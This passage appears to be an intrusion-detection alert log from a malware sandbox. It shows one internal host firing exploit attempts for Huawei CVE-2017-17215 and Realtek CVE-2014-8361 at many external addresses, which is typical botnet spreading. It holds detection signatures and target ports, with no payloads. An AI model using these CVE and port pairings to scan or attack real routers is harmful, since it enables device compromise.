Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 17.74.167.61

Timestamp:	07/20/24-23:01:32.207539
SID:	2829579
Source Port:	40170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 183.32.240.14

Timestamp:	07/20/24-23:01:14.536390
SID:	2831300
Source Port:	50636
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 69.50.110.174

Timestamp:	07/20/24-23:01:25.460589
SID:	2835222
Source Port:	45514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.114.230.33

Timestamp:	07/20/24-23:01:12.502954
SID:	2829579
Source Port:	45644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 87.172.255.48

Timestamp:	07/20/24-23:01:25.388755
SID:	2835222
Source Port:	43644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 99.160.201.206

Timestamp:	07/20/24-23:01:14.536391
SID:	2831300
Source Port:	56476
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.37.206.254

Timestamp:	07/20/24-23:01:04.848636
SID:	2829579
Source Port:	40130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 173.70.195.138

Timestamp:	07/20/24-23:01:03.850478
SID:	2025132
Source Port:	41808
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 197.89.201.126

Timestamp:	07/20/24-23:01:27.357903
SID:	2831300
Source Port:	52044
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 53.36.224.51

Timestamp:	07/20/24-23:01:06.868773
SID:	2027339
Source Port:	49536
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.210.219.94

Timestamp:	07/20/24-23:01:04.918465
SID:	2829579
Source Port:	36642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.98.177.78

Timestamp:	07/20/24-23:01:12.487419
SID:	2829579
Source Port:	51510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 13.5.180.251

Timestamp:	07/20/24-23:01:14.543026
SID:	2831300
Source Port:	39282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.126.80.17

Timestamp:	07/20/24-23:01:32.276800
SID:	2835222
Source Port:	42844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 168.214.55.135

Timestamp:	07/20/24-23:01:14.500799
SID:	2831300
Source Port:	55128
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 162.160.111.35

Timestamp:	07/20/24-23:01:14.512728
SID:	2831300
Source Port:	51050
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.212.233.130

Timestamp:	07/20/24-23:01:04.870311
SID:	2829579
Source Port:	46644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.209.60.212

Timestamp:	07/20/24-23:00:59.021621
SID:	2829579
Source Port:	34700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.97.33.116

Timestamp:	07/20/24-23:01:12.533730
SID:	2829579
Source Port:	37750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.84.148.83

Timestamp:	07/20/24-23:01:22.791883
SID:	2835222
Source Port:	36804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.22.18.106

Timestamp:	07/20/24-23:01:25.390960
SID:	2835222
Source Port:	57216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.206.169.214

Timestamp:	07/20/24-23:01:22.739607
SID:	2829579
Source Port:	57346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.146.23.122

Timestamp:	07/20/24-23:01:06.801544
SID:	2829579
Source Port:	54168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.62.139.88

Timestamp:	07/20/24-23:01:08.381149
SID:	2835222
Source Port:	55616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 35.117.84.161

Timestamp:	07/20/24-23:01:14.517363
SID:	2027339
Source Port:	42652
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 72.246.92.233

Timestamp:	07/20/24-23:01:14.542240
SID:	2027339
Source Port:	36096
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.205.59.72

Timestamp:	07/20/24-23:01:22.738019
SID:	2835222
Source Port:	44800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.45.209.254

Timestamp:	07/20/24-23:01:02.620832
SID:	2829579
Source Port:	52190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 77.192.178.62

Timestamp:	07/20/24-23:01:25.390486
SID:	2835222
Source Port:	60798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.170.154.240

Timestamp:	07/20/24-23:01:02.682054
SID:	2829579
Source Port:	58952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 70.153.220.198

Timestamp:	07/20/24-23:01:27.366334
SID:	2831300
Source Port:	36698
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 64.153.153.170

Timestamp:	07/20/24-23:01:25.389524
SID:	2835222
Source Port:	49852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 159.48.133.27

Timestamp:	07/20/24-23:01:27.358600
SID:	2831300
Source Port:	32812
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.23.159.9

Timestamp:	07/20/24-23:01:36.780614
SID:	2835222
Source Port:	43280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 47.216.94.0

Timestamp:	07/20/24-23:01:14.546238
SID:	2831300
Source Port:	46434
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 98.25.171.48

Timestamp:	07/20/24-23:01:02.703502
SID:	2829579
Source Port:	42394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.87.42.249

Timestamp:	07/20/24-23:01:12.517792
SID:	2835222
Source Port:	54460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.228.104.183

Timestamp:	07/20/24-23:01:12.360353
SID:	2835222
Source Port:	42732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.86.141.31

Timestamp:	07/20/24-23:01:27.286229
SID:	2829579
Source Port:	34686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.252.128.8

Timestamp:	07/20/24-23:01:08.449909
SID:	2835222
Source Port:	37432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.105.107.221

Timestamp:	07/20/24-23:01:12.492810
SID:	2829579
Source Port:	57638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 205.213.110.131

Timestamp:	07/20/24-23:01:04.848605
SID:	2835222
Source Port:	52836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 39.238.204.107

Timestamp:	07/20/24-23:01:14.512728
SID:	2831300
Source Port:	44228
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 148.226.232.73

Timestamp:	07/20/24-23:01:06.800492
SID:	2829579
Source Port:	45468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.73.181.97

Timestamp:	07/20/24-23:01:32.213464
SID:	2829579
Source Port:	35778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 159.247.186.213

Timestamp:	07/20/24-23:00:59.019713
SID:	2835222
Source Port:	45044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.20.227.180

Timestamp:	07/20/24-23:01:22.737893
SID:	2835222
Source Port:	56356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.137.243.27

Timestamp:	07/20/24-23:01:02.607205
SID:	2829579
Source Port:	40330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 134.45.224.216

Timestamp:	07/20/24-23:01:20.578573
SID:	2025132
Source Port:	59362
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 141.161.207.179

Timestamp:	07/20/24-23:01:14.998326
SID:	2835222
Source Port:	44852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.201.223.21

Timestamp:	07/20/24-23:01:04.917925
SID:	2835222
Source Port:	49820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.113.228.229

Timestamp:	07/20/24-23:01:17.786876
SID:	2835222
Source Port:	57890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.151.150.92

Timestamp:	07/20/24-23:01:06.800492
SID:	2835222
Source Port:	39584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.13.115.180

Timestamp:	07/20/24-23:01:02.601732
SID:	2835222
Source Port:	49966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.247.234.47

Timestamp:	07/20/24-23:01:08.381149
SID:	2829579
Source Port:	41216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 67.42.171.251

Timestamp:	07/20/24-23:01:22.745836
SID:	2829579
Source Port:	39904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.58.92.58

Timestamp:	07/20/24-23:01:25.391404
SID:	2835222
Source Port:	39626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.81.239.235

Timestamp:	07/20/24-23:01:04.842729
SID:	2835222
Source Port:	49432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 114.104.89.214

Timestamp:	07/20/24-23:00:59.022391
SID:	2829579
Source Port:	49894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.247.171.83

Timestamp:	07/20/24-23:01:08.455372
SID:	2835222
Source Port:	60768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.130.93.53

Timestamp:	07/20/24-23:01:02.624280
SID:	2835222
Source Port:	53904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.121.72.96

Timestamp:	07/20/24-23:01:22.812907
SID:	2835222
Source Port:	41036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.196.38.186

Timestamp:	07/20/24-23:01:32.244559
SID:	2829579
Source Port:	38710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.132.248.230

Timestamp:	07/20/24-23:00:59.022704
SID:	2829579
Source Port:	52206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 74.43.158.18

Timestamp:	07/20/24-23:01:22.744419
SID:	2835222
Source Port:	44212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.26.124.173

Timestamp:	07/20/24-23:01:02.685657
SID:	2829579
Source Port:	44042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 80.49.148.206

Timestamp:	07/20/24-23:01:14.558193
SID:	2831300
Source Port:	60966
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.14.140.1

Timestamp:	07/20/24-23:01:06.841059
SID:	2835222
Source Port:	54588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.46.161.28

Timestamp:	07/20/24-23:01:32.208939
SID:	2835222
Source Port:	47714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.167.36.126

Timestamp:	07/20/24-23:01:25.390486
SID:	2835222
Source Port:	36836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.55.93.197

Timestamp:	07/20/24-23:01:25.397771
SID:	2835222
Source Port:	57354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.249.182.246

Timestamp:	07/20/24-23:01:22.747861
SID:	2835222
Source Port:	34918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.107.164.81

Timestamp:	07/20/24-23:01:22.819750
SID:	2829579
Source Port:	57852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 149.71.231.248

Timestamp:	07/20/24-23:01:32.192487
SID:	2829579
Source Port:	54900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.22.166.130

Timestamp:	07/20/24-23:01:22.746527
SID:	2829579
Source Port:	44604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.182.149.227

Timestamp:	07/20/24-23:01:02.630936
SID:	2835222
Source Port:	46242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 80.226.91.150

Timestamp:	07/20/24-23:01:14.513053
SID:	2831300
Source Port:	48524
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 180.57.201.161

Timestamp:	07/20/24-23:01:03.972311
SID:	2027339
Source Port:	60658
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.82.18.219

Timestamp:	07/20/24-23:01:22.746773
SID:	2835222
Source Port:	57406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.8.247.80

Timestamp:	07/20/24-23:01:27.263646
SID:	2829579
Source Port:	46940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.135.156.196

Timestamp:	07/20/24-23:00:59.022895
SID:	2829579
Source Port:	42636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 153.105.129.20

Timestamp:	07/20/24-23:01:14.551639
SID:	2831300
Source Port:	34660
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 183.33.143.75

Timestamp:	07/20/24-23:01:14.513824
SID:	2831300
Source Port:	49474
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.142.201.149

Timestamp:	07/20/24-23:02:07.841025
SID:	2829579
Source Port:	36792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 51.92.99.71

Timestamp:	07/20/24-23:01:21.646701
SID:	2027339
Source Port:	32804
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 218.4.141.45

Timestamp:	07/20/24-23:01:21.751574
SID:	2027339
Source Port:	38160
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.179.179.173

Timestamp:	07/20/24-23:01:08.381624
SID:	2829579
Source Port:	53524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.70.65.103

Timestamp:	07/20/24-23:00:59.022115
SID:	2829579
Source Port:	55466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.13.135.234

Timestamp:	07/20/24-23:01:36.794115
SID:	2835222
Source Port:	37164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 204.46.251.166

Timestamp:	07/20/24-23:01:14.502058
SID:	2027339
Source Port:	41154
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.61.74.227

Timestamp:	07/20/24-23:01:25.443184
SID:	2829579
Source Port:	35976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 32.227.60.125

Timestamp:	07/20/24-23:01:14.556193
SID:	2027339
Source Port:	44522
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 176.69.59.228

Timestamp:	07/20/24-23:01:14.526400
SID:	2831300
Source Port:	34820
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 161.170.71.80

Timestamp:	07/20/24-23:01:17.793503
SID:	2829579
Source Port:	38248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 204.52.130.30

Timestamp:	07/20/24-23:01:14.521865
SID:	2831300
Source Port:	44396
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 37.40.108.99

Timestamp:	07/20/24-23:01:20.458035
SID:	2027339
Source Port:	44230
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.211.137.240

Timestamp:	07/20/24-23:01:27.229449
SID:	2835222
Source Port:	50928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.240.221.77

Timestamp:	07/20/24-23:01:25.390544
SID:	2835222
Source Port:	41820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 188.112.111.250

Timestamp:	07/20/24-23:01:07.537583
SID:	2025132
Source Port:	34676
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.69.116.205

Timestamp:	07/20/24-23:01:15.110016
SID:	2829579
Source Port:	33436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 183.18.158.37

Timestamp:	07/20/24-23:00:59.021511
SID:	2835222
Source Port:	43748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.54.41.117

Timestamp:	07/20/24-23:00:59.021890
SID:	2835222
Source Port:	49998
Destination Port:	37215
Protocol:	TCP
